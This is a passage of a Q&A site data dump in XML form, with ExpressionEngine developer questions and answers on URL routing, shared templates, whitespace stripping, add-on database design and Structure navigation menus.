{by_colour}, and by occasion {by_occasion} - which are a playa field each in the product entry page of the EE CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'd want the following URL structure (and breadcrumbs of home &gt; red &gt; product title):&#xA;&lt;a href=&quot;http://www.domain.co.uk/red/url_title&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/red/url_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is probably EE related more than CT related. This is only my third EE site and first store. I just can’t get my head around how to get it all to work… wish we could take a peak under the hood of Chic at Home!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an example template group setup or similar that would demonstrate how I should be going about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="77" LastEditDate="2012-11-27T20:18:42.620" LastActivityDate="2012-11-27T20:18:42.620" Title="EE URL Structure? (For Dummies)" Tags="|cartthrob|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostTypeId="2" ParentId="337" CreationDate="2012-11-25T13:21:36.893" Score="7" Body="&lt;p&gt;Ok, firstly, i would say that you really want URL's that when human read make sense and also work in a content &amp;amp; shop scenario, i'm not sure that having category as the first segment is optimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a shop i have just developed has the url structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.com/shop/product/product_name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.com/shop/category/category_name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the user &amp;amp; the search engine are able to easily recognise by looking at the url where they are in the site. Also, it means that they can have example.com/blog and that is obviously separate from the shop as it's not preceded by &quot;shop&quot; in the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this structure, you can have a template group of &quot;shop&quot; that allows you to have whatever templates you like and gives you lots of flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.com/product/product_name OR example.com/product/category/product_name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.com/category/category_name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means you simply have your default template group with templates called &quot;products&quot; &amp;amp; &quot;category&quot; and then you can drive your content from there using if statements if needed to detect what is in the URL segments and show the content how you see fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to how you handle breadcrumbs where products appear in multiple categories? Well, if you have the url structure i'm suggesting where you have example.com/category/category_name then as you go back in the segments, your template looks at the last url segment and shows all products that appear in that category. When you get right back to example.com/category you would show a page that lists all the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using playa fields for categorising, then you are going to need to do a fair amount of logic in your templates that works out what it should be showing dependent on the URL. So, if you have &quot;category&quot; as a url segment, then you can say if segment_2 == category, then segment_3 is the category itself and you use that value to pull in the data from your playa field to show products in that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, to be honest, a million different ways to do this. So my answer is right, but could also be wrong. It's up to you how you want your urls to work. My examples are simply personal preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to your reference site, i imagine they've put loads of logic in the index template in their default template group or they've done some url routing with either the pages module or the structure add-on. Either way, i'm not mad keen on their url structure for a shop setup.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-25T13:21:36.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostTypeId="2" ParentId="337" CreationDate="2012-11-25T15:13:26.327" Score="3" Body="&lt;p&gt;You might want to take a look at the Freeway add-on so you can use conventional EE templating techniques but then route them via different URLs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;https://github.com/averyvery/freeway&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used it before myself, but looks pretty good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, as John says, you'll need a whole heap of convoluted logic in your templates (which in turn will see you having problems with advanced conditionals, parse order and poor performance)&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-25T15:13:26.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostTypeId="1" AcceptedAnswerId="347" CreationDate="2012-11-25T22:18:49.230" Score="3" ViewCount="213" Body="&lt;p&gt;I created a static page using just template files. For example, say I have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/pages/faqs/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is accessible via &lt;code&gt;http://www.domain.com/index.php/pages/faqs&lt;/code&gt;. What if I wanted the URL to be &lt;code&gt;http://www.domain.com/index.php/foo/&lt;/code&gt;? Is there a way to set this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-11-26T08:52:31.940" Title="URL for template pages?" Tags="|url|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="341" PostTypeId="2" ParentId="340" CreationDate="2012-11-25T22:22:54.090" Score="6" Body="&lt;p&gt;Your best bet would be to use either .htaccess, or setup an entry to use that template using the Pages Module.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2012-11-25T22:22:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="342" PostTypeId="1" AcceptedAnswerId="343" CreationDate="2012-11-25T22:25:06.987" Score="6" ViewCount="2196" Body="&lt;p&gt;Is it possible to define some container template that might contain my &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; declaration, then inside it it'll just embed other templates depending on the page? Right now, I'm having to declare my &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tags in every page, which is not good. I want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// main template&#xA;&amp;lt;html&amp;gt;&#xA;    {embed=&quot;common/.head&quot;}&#xA;    &amp;lt;body&amp;gt;&#xA;         {embed=&quot;common/.header&quot;}&#xA;&#xA;         // TODO: put some logic here to decide what to embed&#xA;&#xA;         {embed=&quot;common/.footer&quot;}&#xA;         {embed=&quot;common/.scripts&quot;}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-16T06:13:22.997" Title="How to use a common template for all pages?" Tags="|templates|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostTypeId="2" ParentId="342" CreationDate="2012-11-25T23:17:27.313" Score="18" Body="&lt;p&gt;Well, my first question would be, why don't you have that &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag in your common/.head embed? Why is it separate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to have a template master page, take a look at the following links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&quot;&gt;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot;&gt;http://eeinsider.com/articles/template-partials-using-stash/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with anything in EE, there are many ways to tackle this, however, i'm confident that after taking a look at those links, you should be able to decide on the right approach for you :)&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-25T23:17:27.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="344" PostTypeId="2" ParentId="342" CreationDate="2012-11-25T23:23:54.937" Score="0" Body="&lt;p&gt;Yes, that's entirely possible by using embeds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Header Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;    ...&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;       // header &amp;amp; menu can go here..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Footer Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       // footer &amp;amp; scripts can go here..&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;common/header&quot;}&#xA;    // content goes here&#xA;{embed=&quot;common/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-25T23:23:54.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="345" PostTypeId="2" ParentId="340" CreationDate="2012-11-25T23:29:52.093" Score="0" Body="&lt;p&gt;create a .htaccess page in the root of your website and use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /index.php/pages/faq /index.php/foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternatively, you code use EE to do the job for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a template called &quot;foo&quot; in your default template group and put this piece of code in that template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;pages/faq&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-25T23:29:52.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostTypeId="2" ParentId="314" CreationDate="2012-11-25T23:38:45.837" Score="1" Body="&lt;p&gt;To follow-up on what Tyssen said:&#xA;If you don't want to use a third-party plugin ( like switchee or ifelse ) you could do it with standard EE. However Tyssen's conditionals are still being considered advanced conditionals, so they won't solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'events'}&#xA;    {if segment_2 == ''}&#xA;        {preload_replace:group='event_'}&#xA;    {/if}&#xA;{/if}&#xA;{if segment_1 != 'events'}&#xA;    {if segment_2 != ''}&#xA;        {preload_replace:group=''}&#xA;    {if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on conditionals:&#xA;&lt;a href=&quot;http://userguides.ellislab.com/expressionengine/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;http://userguides.ellislab.com/expressionengine/templates/globals/conditionals.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-25T23:38:45.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="347" PostTypeId="2" ParentId="340" CreationDate="2012-11-25T23:46:38.807" Score="6" Body="&lt;p&gt;So as with almost everything in EE, there are lots of ways to do this. Here are a few options, roughly sorted by ease of implementation. What's right for you will depend on the complexity of your particular build and your comfort level:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Personally I'd avoid using .htaccess for this kind of static routing, although it will probably work fine it takes routing out of your app and puts it in your server config, which always seems wrong to me when there are native options available.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your foo template is in your site's default template group, and you have &quot;strict URLs&quot; set to off in your global template prefs, your foo template should automatically be available at /foo&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://userguides.ellislab.com/expressionengine/modules/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;pages module&lt;/a&gt;, creating an entry with a URL of /foo that uses that template.&lt;/li&gt;&#xA;&lt;li&gt;Use an addon like &lt;a href=&quot;http://devot-ee.com/add-ons/structure&quot; rel=&quot;nofollow&quot;&gt;structure&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/navee&quot; rel=&quot;nofollow&quot;&gt;NavEE&lt;/a&gt; to manage your navigation/URL structure&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use a &quot;controller&quot; template as your site's index template, that inspects the URL and routes various values to different template via embeds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&#xA;{if segment_1 == &quot;foo&quot;}&#xA;   {embed=&quot;pages/foo&quot;}&#xA;{/if}&#xA;...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;Freeway&lt;/a&gt; to give you full routing control independent of templating&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're starting out with EE and/or only need to do this for a few pages, I'd suggest using the pages module in the first instance, as its free, bundled with EE and requires minimal config in order to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a large site or a more complex URL structure with lots of nested/child pages Structure/NavEE are great choices and similarly easy to set up.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-26T08:52:31.940" LastActivityDate="2012-11-26T08:52:31.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="348" PostTypeId="1" AcceptedAnswerId="349" CreationDate="2012-11-26T00:56:05.903" Score="7" ViewCount="2507" Body="&lt;p&gt;I'd like the rendered markup to be absent any carriage returns, line feeds, or tabs. I'm looking for a functionality similar to Smarty's &lt;code&gt;{strip}&lt;/code&gt; tag. Does EE have this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="77" LastEditDate="2012-11-26T20:12:16.717" LastActivityDate="2012-11-27T22:23:50.100" Title="How to strip white space in EE?" Tags="|templates|template-scripting|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostTypeId="2" ParentId="348" CreationDate="2012-11-26T01:06:14.613" Score="7" Body="&lt;p&gt;not natively but something like &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot;&gt;http://devot-ee.com/add-ons/hacksaw&lt;/a&gt; could easily do what you need. There's also &lt;a href=&quot;http://devot-ee.com/add-ons/supergeekery-tag-stripper&quot;&gt;http://devot-ee.com/add-ons/supergeekery-tag-stripper&lt;/a&gt; as well as some commercial add-ons that also give this kind of functionality.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-26T01:06:14.613" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T02:03:41.990" Score="0" Body="&lt;p&gt;Depending on how complicated the content you are still deciding about is, the &lt;a href=&quot;http://userguides.ellislab.com/expressionengine/modules/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;Pages Module&lt;/a&gt; might also do what you want.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-11-26T02:03:41.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostTypeId="2" ParentId="340" CreationDate="2012-11-26T02:17:06.700" Score="0" Body="&lt;p&gt;Someone pointed out &lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;freeway&lt;/a&gt; on another question, and this seems to also do what you are asking for.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-11-26T02:17:06.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostTypeId="1" AcceptedAnswerId="358" CreationDate="2012-11-26T02:27:08.700" Score="4" ViewCount="935" Body="&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt;  It turned out that this question couldn't really be answered based on the info I had provided, and it wasn't possible for me to provide enough info to make it answerable.  Tom provided the best steps for debugging this type of issue in a normal situation so I'm giving it to him, but in my case the issue being that some changes to core that are not released yet, were causing problems in the way that Secure form processing worked.  Turning of secure form processing until this issue is remedied was the solution that worked for me.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm having an issue in my ee2 install in which most often when I edit or create an entry in the control panel and click submit, the control panel homepage is loaded and the content is not saved.  If I hit back in my browser and resubmit, the change is saved on the second try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody else seen this, and does anyone know what the fix is likely to be?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-06T05:38:23.603" LastActivityDate="2013-11-28T19:22:54.307" Title="Save issue: Submitting entry edits redirects to control panel top?" Tags="|ee2|control-panel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="353" PostTypeId="2" ParentId="348" CreationDate="2012-11-26T03:52:59.367" Score="2" Body="&lt;p&gt;A plugin is not really appropriate for this usage since you would need to wrap every root-level template you have with said plugin. Instead, you should write an extension which does the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check if the PHP constant REQ == 'PAGE', if not, do nothing&lt;/li&gt;&#xA;&lt;li&gt;Register a shutdown function&lt;/li&gt;&#xA;&lt;li&gt;Turn on &lt;a href=&quot;http://php.net/ob_start&quot; rel=&quot;nofollow&quot;&gt;output buffering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the shutdown function, capture the buffer&lt;/li&gt;&#xA;&lt;li&gt;Turn off output buffering&lt;/li&gt;&#xA;&lt;li&gt;Run your regex on the resulting page text and print it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have used this technique to accomplish several similar requirements.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="174" LastEditDate="2012-11-26T19:48:34.350" LastActivityDate="2012-11-26T19:48:34.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="354" PostTypeId="2" ParentId="337" CreationDate="2012-11-26T04:17:32.640" Score="2" Body="&lt;p&gt;@JohnWBaxter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for your help. I think I kind of prefer your second approach with having everything in the default template group as it takes out a URL segment from the display URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound right? …..in my default template group I could have templates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;index (homepage)&lt;/li&gt;&#xA;&lt;li&gt;category&lt;/li&gt;&#xA;&lt;li&gt;shop_by&lt;/li&gt;&#xA;&lt;li&gt;product &lt;/li&gt;&#xA;&lt;li&gt;cart&lt;/li&gt;&#xA;&lt;li&gt;checkout&lt;/li&gt;&#xA;&lt;li&gt;completed_order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PART A - GROUPING PRODUCTS:&lt;/strong&gt;&#xA;I could use my playa field {playa_categories} to group the product in their categories on the &quot;category&quot; template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; search:playa_categories=&quot;{segment_2}&quot; search:product_for_sale=&quot;y&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/category/bathroom&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PART A - DISPLAY ACTUAL PRODUCT:&lt;/strong&gt;&#xA;A product listed on this category page would have a link to push to the 'product' template similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/product/{segment_2}/{product_url_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/product/bathroom/towel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the product template I'd have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;products&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the breadcrumb on this page would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home &gt;&gt; example.com/category/{segment_2} &gt;&gt; example.com/category/{segment_2}/{segment_3}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home &gt;&gt; example.com/category/bathroom &gt;&gt; example.com/category/bathroom/towel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PART B - GROUP ALTERNATE WAYS TO FIND PRODUCT:&lt;/strong&gt;&#xA;I could use my playa fields {shop_colour}, {shop_types} to sort the types of groupings on the &quot;shop_by&quot; template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; search:shop_colour=&quot;{segment_2}&quot; search:shop_types=&quot;{segment_2}&quot; search:product_for_sale=&quot;y&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/shop_by/{shop_colour}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/shop_by/red&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/shop_by/{shop_types}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/shop_by/glassware&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PART B - DISPLAY ACTUAL PRODUCT:&lt;/strong&gt;&#xA;A product listed on this shop_by page would have a link to push to the 'product' template similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/product/{segment_2}/{product_url_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/product/red/bowl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the product template I'd have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;products&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the breadcrumb on this page would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home &gt;&gt; example.com/shop_by/{segment_2} &gt;&gt; example.com/shop_by/{segment_2}/{segment_3}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home &gt;&gt; example.com/shop_by/red &gt;&gt; example.com/shop_by/red/bowl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that's a lot to take in - but am I on the right track?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for taking the time to help out :)&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-11-26T04:17:32.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostTypeId="1" AcceptedAnswerId="359" CreationDate="2012-11-26T08:53:38.043" Score="8" ViewCount="186" Body="&lt;p&gt;When creating Addons should we utilise the underlying database structure provided by ExpressionEngine for storing large numbers of items / information. For instance use channel entries? Or should you keep it all separate and craft your own tables / relationships etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to take a stab at answering this myself, I'd probably say use as much of existing expressionengine tables infrastructure as possible as there isn't any great reason to re-invent the wheel. My only concern is how you might limit access to say channel entries (if you've used them) for your addon. Say if you want the user to edit information in a particular way (and it's not the standard EE way of doing it). Or is this the problem, should they be doing it the EE Way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it / should it be handled differently if it's a custom Addon for one site you are working on, as apposed to creating a commercial addon? &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2012-11-26T22:15:02.273" Title="Addon database interaction" Tags="|add-on-development|database|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostTypeId="2" ParentId="348" CreationDate="2012-11-26T09:06:01.390" Score="1" Body="&lt;p&gt;Remember, &lt;strong&gt;you need to be careful stripping all whitespace from HTML&lt;/strong&gt;, especially HTML generated by a CMS/where you can't be certain of the origin of every line of markup (eg some of it comes from WYSIWYG fields etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although commonly thought of whitespace agnostic, HTML is a fragile language and some of that whitespace might well actually be significant, for example content in &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; elements. There's also  CSS like as &lt;code&gt;white-space: pre&lt;/code&gt; to bear in mind. This sort of thing can be a nightmare to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing this for the purposes of reducing the size of the pageload sent to the client, I'd argue you are far better off enabling gzip (with &lt;code&gt;mod_deflate&lt;/code&gt; or similar) to this end, as with gzip enabled the benefits to payload size of stripping whitespace are often not worth the trade off in increased fragility/unpredictability of output.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-26T09:06:01.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="358" PostTypeId="2" ParentId="352" CreationDate="2012-11-26T09:13:32.683" Score="5" Body="&lt;p&gt;I'd start by disabling all third party extensions, as an errant one of those is probably the most likely cause. You can do this globally in &lt;code&gt;config.php&lt;/code&gt; by setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this fixes it, set this back to &lt;code&gt;'y'&lt;/code&gt; then disable your extensions in the CP one by one until you find the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth checking that there are no JS errors on the publish/edit page (using your browser console). If there are these can normally be traced to a custom fieldtype, or some other addon. If you find one and can't debug it yourself post it here.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-26T09:13:32.683" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostTypeId="2" ParentId="356" CreationDate="2012-11-26T09:18:53.200" Score="8" Body="&lt;p&gt;My opinion is that it very much depends on the add-on. Something like Carthrob, for instance, lends itself perfectly to using the native channel entries table as data can be accessed using the channel entries tag and edited in the CP in the usual way. So in this instance, there is no need to re-invent the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the structure of the data you need to store doesn't lend itself to a channel entry format, you are better off creating your own tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&#xA;Joe &lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2012-11-26T09:18:53.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostTypeId="1" CreationDate="2012-11-26T09:59:01.543" Score="2" ViewCount="1702" Body="&lt;p&gt;I would like to have a select menu for the child pages of a page in a site using the Structure plugin. However some of the pages don't have child pages so they wouldn't need the select menu to display. a) How do I create the select menu so that you will be taken to the child page when you select it in a dropdown and b) what conditional do I use to see if there are any child pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have a nav using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/{segment_1}/{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2012-12-08T21:09:13.350" Title="How can I create a dropdown menu of child pages from Structure?" Tags="|structure|navigation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="361" PostTypeId="2" ParentId="360" CreationDate="2012-11-26T10:19:39.480" Score="3" Body="&lt;p&gt;If I understand correctly the {exp:structure:nav} tag should do what you need. What isn't working for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you might want to look at the structure entries add-on, which allows much greater flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can do stuff like this....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;toplevel&quot;&amp;gt;&#xA;    {exp:structure_entries depth=&quot;1&quot; convert_html=&quot;true&quot; status=&quot;open&quot;}&#xA;        {if {entry_id}!='106'}&#xA;          &amp;lt;li class=&quot;{url_title}{if {current_parent}} parent-here&#xA;            {/if}&#xA;            {if {current_page}==1} parent-here{/if}&quot;&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;            {if &quot;{title}&quot;==&quot;Blog&quot;}&#xA;                    {embed=&quot;includes/_subnavblog&quot;}&#xA;                {if:else}&#xA;                    {if {total_children}&amp;gt;0}&#xA;                {embed=&quot;includes/_subnav&quot; entry=&quot;{entry_id}&quot;}&#xA;            {/if}&#xA;                {/if}&#xA;             &amp;lt;/li&amp;gt;&#xA;       {/if}&#xA;    {/exp:structure_entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what is happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly we call the structure entries tag pair which will list out the top level of &quot;pages&quot; set up in Structure (hence the depth=&quot;1&quot; parameter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then do a check to make sure we aren't looking at entry number 106 as we want to ignore that (I can't recall why right now - it just didn't need to be in the nav but was a top level page in Structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's not entry 106 we then output a list item with the name of the top level page and do a check for using the current_page parameter to output a css class to mark the current page if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we do a check to see if we are listing the blog item - this is the embed to list the 